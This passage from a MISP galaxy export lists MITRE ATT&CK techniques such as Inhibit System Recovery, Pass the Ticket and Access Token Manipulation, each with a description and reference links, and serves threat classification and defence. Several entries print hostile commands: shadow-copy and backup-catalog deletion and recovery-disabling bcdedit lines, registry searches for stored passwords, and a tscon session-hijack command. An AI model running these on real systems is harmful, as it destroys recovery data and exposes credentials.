https://en.wikipedia.org/wiki/Server_Message_Block
https://technet.microsoft.com/en-us/library/cc787851.aspx
https://msdn.microsoft.com/en-us/library/aa394582.aspx
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf

Inhibit System Recovery - T1490

Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017)

A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:

<code>vssadmin.exe</code> can be used to delete all volume shadow copies on a system - <code>vssadmin.exe delete shadows /all /quiet</code>
[Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - <code>wmic shadowcopy delete</code>
<code>wbadmin.exe</code> can be used to delete the Windows Backup Catalog - <code>wbadmin.exe delete catalog -quiet</code>
<code>bcdedit.exe</code> can be used to disable automatic Windows recovery features by modifying boot configuration data - <code>bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no</code>

The tag is: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490"

Table 2395. Table References
Links
https://attack.mitre.org/techniques/T1490
https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html

Server Software Component - T1505

Adversaries may abuse legitimate extensible development features of server applications to establish persistent access to systems. Enterprise server applications may include features that allow application developers to write and install software to extend the functionality of the main application. Adversaries may install malicious software components to maliciously extend and abuse server applications.

###Transport Agent Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks.

Adversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary.

###SQL Stored Procedures SQL stored procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted). Adversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as <code>xp_cmdshell</code> for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017)

Microsoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures, these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR)

The tag is: misp-galaxy:mitre-attack-pattern="Server Software Component - T1505"

Table 2396. Table References
Links
https://attack.mitre.org/techniques/T1505
https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help
https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf
https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/
https://securelist.com/malicious-tasks-in-ms-sql-server/92167/
https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017
https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017
https://blog.netspi.com/attacking-sql-server-clr-assemblies/

Web Session Cookie - T1506

Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)

Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.

There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)

The tag is: misp-galaxy:mitre-attack-pattern="Web Session Cookie - T1506"

Table 2397. Table References
Links
https://attack.mitre.org/techniques/T1506
https://wunderwuzzi23.github.io/blog/passthecookie.html
https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/

Uncommonly Used Port - T1065

Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.

The tag is: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065"

Table 2398. Table References
Links
https://attack.mitre.org/techniques/T1065
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Network Information Discovery - T1507

Adversaries may use device sensors to collect information about nearby networks, such as Wi-Fi and Bluetooth.

The tag is: misp-galaxy:mitre-attack-pattern="Network Information Discovery - T1507"

Table 2399. Table References
Links
https://attack.mitre.org/techniques/T1507

Pass the Hash - T1075

Pass the hash (PtH) is a method of authenticating as a user without having access to the user’s cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.

Windows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)

The tag is: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075"

Table 2400. Table References
Links
https://attack.mitre.org/techniques/T1075
https://capec.mitre.org/data/definitions/644.html
https://www.iad.gov/iad/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm

Suppress Application Icon - T1508

A malicious application could suppress its icon from being displayed to the user in the application launcher to hide the fact that it is installed, and to make it more difficult for the user to uninstall the application. Hiding the application’s icon programmatically does not require any special permissions.

This behavior has been seen in the BankBot/Spy Banker and SimBad families of malware.(Citation: android-trojan-steals-paypal-2fa)(Citation: sunny-stolen-credentials)(Citation: bankbot-spybanker)(Citation: simbad-adware)

The tag is: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1508"

Table 2401. Table References
Links
https://attack.mitre.org/techniques/T1508
https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/
https://www.welivesecurity.com/2017/02/22/sunny-chance-stolen-credentials-malicious-weather-app-found-google-play/
https://www.cyber.nj.gov/threat-profiles/android-malware-variants/bankbot-spybanker
https://research.checkpoint.com/simbad-a-rogue-adware-campaign-on-google-play/

Uncommonly Used Port - T1509

Adversaries may use non-standard ports to exfiltrate information.

The tag is: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1509"

Table 2402. Table References
Links
https://attack.mitre.org/techniques/T1509

Remote Desktop Protocol - T1076

Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS.

Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware)

Adversaries may also perform RDP session hijacking which involves stealing a legitimate user’s remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, <code>c:\windows\system32\tscon.exe [session number to be stolen]</code>, an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)

The tag is: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076"

Table 2403. Table References
Links
https://attack.mitre.org/techniques/T1076
https://capec.mitre.org/data/definitions/555.html
https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx
http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/
http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html
https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6
https://github.com/nccgroup/redsnarf

NTFS File Attributes - T1096

Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)

Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)

The tag is: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1096"

Table 2404. Table References
Links
https://attack.mitre.org/techniques/T1096
https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea
https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/
http://msdn.microsoft.com/en-us/library/aa364404
https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/
https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/
http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html
https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore

Permission Groups Discovery - T1069

Adversaries may attempt to find local system or domain-level groups and permissions settings.

Windows

Examples of commands that can list groups are <code>net group /domain</code> and <code>net localgroup</code> using the [Net](https://attack.mitre.org/software/S0039) utility.

Mac

On Mac, this same thing can be accomplished with the <code>dscacheutil -q group</code> for the domain, or <code>dscl . -list /Groups</code> for local groups.

Linux

On Linux, local groups can be enumerated with the <code>groups</code> command and domain groups via the <code>ldapsearch</code> command.

Office 365 and Azure AD

With authenticated access there are several tools that can be used to find permissions groups. The <code>Get-MsolRole</code> PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft msrole)(Citation: GitHub Raindance)

Azure CLI (AZ CLI) also provides an interface to obtain permissions groups with authenticated access to a domain. The command <code>az ad user get-member-groups</code> will list groups associated to a user account.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)

The tag is: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069"

Table 2405. Table References
Links
https://attack.mitre.org/techniques/T1069
https://capec.mitre.org/data/definitions/576.html
https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0
https://github.com/True-Demon/raindance
https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest
https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/

Windows Admin Shares - T1077

Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include <code>C$</code>, <code>ADMIN$</code>, and <code>IPC$</code>.

Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1035), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration and patch levels. (Citation: Microsoft Admin Shares)

The [Net](https://attack.mitre.org/software/S0039) utility can be used to connect to Windows admin shares on remote systems using <code>net use</code> commands with valid credentials. (Citation: Technet Net Use)

The tag is: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077"

Table 2406. Table References
Links
https://attack.mitre.org/techniques/T1077
https://capec.mitre.org/data/definitions/561.html
https://en.wikipedia.org/wiki/Server_Message_Block
https://technet.microsoft.com/en-us/library/cc787851.aspx
http://support.microsoft.com/kb/314984
https://technet.microsoft.com/bb490717.aspx
http://blogs.technet.com/b/jepayne/archive/2015/11/27/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts.aspx
http://blogs.technet.com/b/jepayne/archive/2015/11/24/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem.aspx
https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc

Pass the Ticket - T1097

Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account’s password. Kerberos authentication can be used as the first step to lateral movement to a remote system.

In this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [Credential Dumping](https://attack.mitre.org/techniques/T1003). A user’s service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)

Silver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)

Golden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)

The tag is: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097"

Table 2407. Table References
Links
https://attack.mitre.org/techniques/T1097
https://capec.mitre.org/data/definitions/645.html
https://adsecurity.org/?p=556
http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos
http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf
https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf

Disabling Security Tools - T1089

Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.

The tag is: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089"

Table 2408. Table References
Links
https://attack.mitre.org/techniques/T1089
https://capec.mitre.org/data/definitions/578.html

Space after Filename - T1151

Adversaries can hide a program’s true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to "evil.txt " (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).

Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.

The tag is: misp-galaxy:mitre-attack-pattern="Space after Filename - T1151"

Table 2409. Table References
Links
https://attack.mitre.org/techniques/T1151
https://capec.mitre.org/data/definitions/649.html
https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/

Create strategic plan - T1231

Strategic plans outline the mission, vision, and goals for an adversary at a high level in relation to the key partners, topics, and functions the adversary carries out. (Citation: KPMGChina5Year) (Citation: China5YearPlans) (Citation: ChinaUN)

The tag is: misp-galaxy:mitre-attack-pattern="Create strategic plan - T1231"

Table 2410. Table References
Links
https://attack.mitre.org/techniques/T1231

Capture SMS Messages - T1412

A malicious application could capture sensitive data sent via SMS, including authentication credentials. SMS is frequently used to transmit codes used for multi-factor authentication.

On Android, a malicious application must request and obtain permission (either at app install time or run time) in order to receive SMS messages. Alternatively, a malicious application could attempt to perform an operating system privilege escalation attack to bypass the permission requirement.

On iOS, applications cannot access SMS messages in normal operation, so an adversary would need to attempt to perform an operating system privilege escalation attack to potentially be able to access SMS messages.

The tag is: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412"

Table 2411. Table References
Links
https://attack.mitre.org/techniques/T1412

Credentials in Registry - T1214

The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.

Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)

Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code>
Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>

The tag is: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1214"

Table 2412. Table References
Links
https://attack.mitre.org/techniques/T1214
https://pentestlab.blog/2017/04/19/stored-credentials/

System Time Discovery - T1124

The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)

An adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing <code>net time \\hostname</code> to gather the system time on a remote system. The victim’s time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a [Scheduled Task](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They’re Inside), or to discover locality information based on time zone to assist in victim targeting.

The tag is: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124"

Table 2413. Table References
Links
https://attack.mitre.org/techniques/T1124
https://capec.mitre.org/data/definitions/295.html
https://msdn.microsoft.com/ms724961.aspx
https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings
https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf

Determine strategic target - T1241

An adversary undergoes an iterative target selection process that may begin either broadly and narrow down into specifics (strategic to tactical) or narrowly and expand outward (tactical to strategic). As part of this process, an adversary may determine a high level target they wish to attack. One example of this may be a particular country, government, or commercial sector. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)

The tag is: misp-galaxy:mitre-attack-pattern="Determine strategic target - T1241"

Table 2414. Table References
Links
https://attack.mitre.org/techniques/T1241

Standard Cryptographic Protocol - T1521

The tag is: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1521"

Table 2415. Table References
Links
https://attack.mitre.org/techniques/T1521

Browser Bookmark Discovery - T1217

Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.

Browser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials in Files](https://attack.mitre.org/techniques/T1081) associated with logins cached by a browser.

Specific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.

The tag is: misp-galaxy:mitre-attack-pattern="Browser Bookmark Discovery - T1217"

Table 2416. Table References
Links
https://attack.mitre.org/techniques/T1217

Trusted Developer Utilities - T1127

There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions.

MSBuild

MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations. (Citation: MSDN MSBuild)

Adversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file. (Citation: MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. (Citation: LOLBAS Msbuild)

DNX

The .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016. (Citation: Microsoft Migrating from DNX) DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft.

An adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX. (Citation: engima0x3 DNX Bypass)

RCSI

The rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe binary is signed by Microsoft. (Citation: engima0x3 RCSI Bypass)

C# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do not account for execution of rcsi.exe. (Citation: engima0x3 RCSI Bypass)

WinDbg/CDB

WinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools. (Citation: Microsoft Debugging Tools for Windows) They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.

An adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for execution of those utilities. (Citation: Exploit Monday WinDbg)

It is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft.

Tracker

The file tracker utility, tracker.exe, is included with the .NET framework as part of MSBuild. It is used for logging calls to the Windows file system. (Citation: Microsoft Docs File Tracking)

An adversary can use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions. (Citation: LOLBAS Tracker)

The tag is: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities - T1127"

Table 2417. Table References
Links
https://attack.mitre.org/techniques/T1127
https://msdn.microsoft.com/library/dd393574.aspx
https://lolbas-project.github.io/lolbas/Binaries/Msbuild/
https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx
https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/
https://blogs.msdn.microsoft.com/visualstudio/2011/10/19/introducing-the-microsoft-roslyn-ctp/
https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index
http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html
https://docs.microsoft.com/visualstudio/msbuild/file-tracking
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/

Netsh Helper DLL - T1128

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\SOFTWARE\Microsoft\Netsh</code>.

Adversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)

Proof of concept code exists to load Cobalt Strike’s payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)

The tag is: misp-galaxy:mitre-attack-pattern="Netsh Helper DLL - T1128"

Table 2418. Table References
Links
https://attack.mitre.org/techniques/T1128
https://technet.microsoft.com/library/bb490939.aspx
https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html
https://github.com/outflankbv/NetshHelperBeacon

Remote Access Tools - T1219

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be whitelisted within a target environment. Remote access tools like VNC, Ammy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

Remote access tools may be established and used post-compromise as alternate communications channel for [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.

Admin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)

The tag is: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219"

Table 2419. Table References
Links
https://attack.mitre.org/techniques/T1219
https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf
https://blog.crysys.hu/2013/03/teamspy/

External Remote Services - T1133

Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028) can also be used externally.

Adversaries may use remote services to initially access and/or persist within a network. (Citation: Volexity Virtual Private Keylogging) Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as part of [Redundant Access](https://attack.mitre.org/techniques/T1108) during an operation.

The tag is: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133"

Table 2420. Table References
Links
https://attack.mitre.org/techniques/T1133
https://capec.mitre.org/data/definitions/555.html
https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/

Obfuscation or cryptography - T1313

Obfuscation is the act of creating communications that are more difficult to understand. Encryption transforms the communications such that it requires a key to reverse the encryption. (Citation: FireEyeAPT28)

The tag is: misp-galaxy:mitre-attack-pattern="Obfuscation or cryptography - T1313"

Table 2421. Table References
Links
https://attack.mitre.org/techniques/T1313

Access Token Manipulation - T1134

Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command <code>runas</code>.(Citation: Microsoft runas)

Adversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)

Access tokens can be leveraged by adversaries through three methods:(Citation: BlackHat Atkinson Winchester Token Manipulation)

Token Impersonation/Theft - An adversary creates a new access token that duplicates an existing token using <code>DuplicateToken(Ex)</code>. The token can then be used with <code>ImpersonateLoggedOnUser</code> to allow the calling thread to impersonate a logged on user’s security context, or with <code>SetThreadToken</code> to assign the impersonated token to a thread. This is useful for when the target user has a non-network logon session on the system.

Create Process with a Token - An adversary creates a new access token with <code>DuplicateToken(Ex)</code> and uses it with <code>CreateProcessWithTokenW</code> to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.

Make and Impersonate Token - An adversary has a username and password but the user is not logged onto the system. The adversary can then create a logon session for the user using the <code>LogonUser</code> function. The function will return a copy of the new session’s access token and the adversary can use <code>SetThreadToken</code> to assign the token to a thread.

Any standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.

Metasploit’s Meterpreter payload allows arbitrary token manipulation and uses token impersonation to escalate privileges.(Citation: Metasploit access token) The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens. (Citation: Cobalt Strike Access Token)

The tag is: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134"

Table 2422. Table References
Links
https://attack.mitre.org/techniques/T1134
https://capec.mitre.org/data/definitions/633.html
https://technet.microsoft.com/en-us/library/bb490994.aspx
https://pentestlab.blog/2017/04/03/token-manipulation/
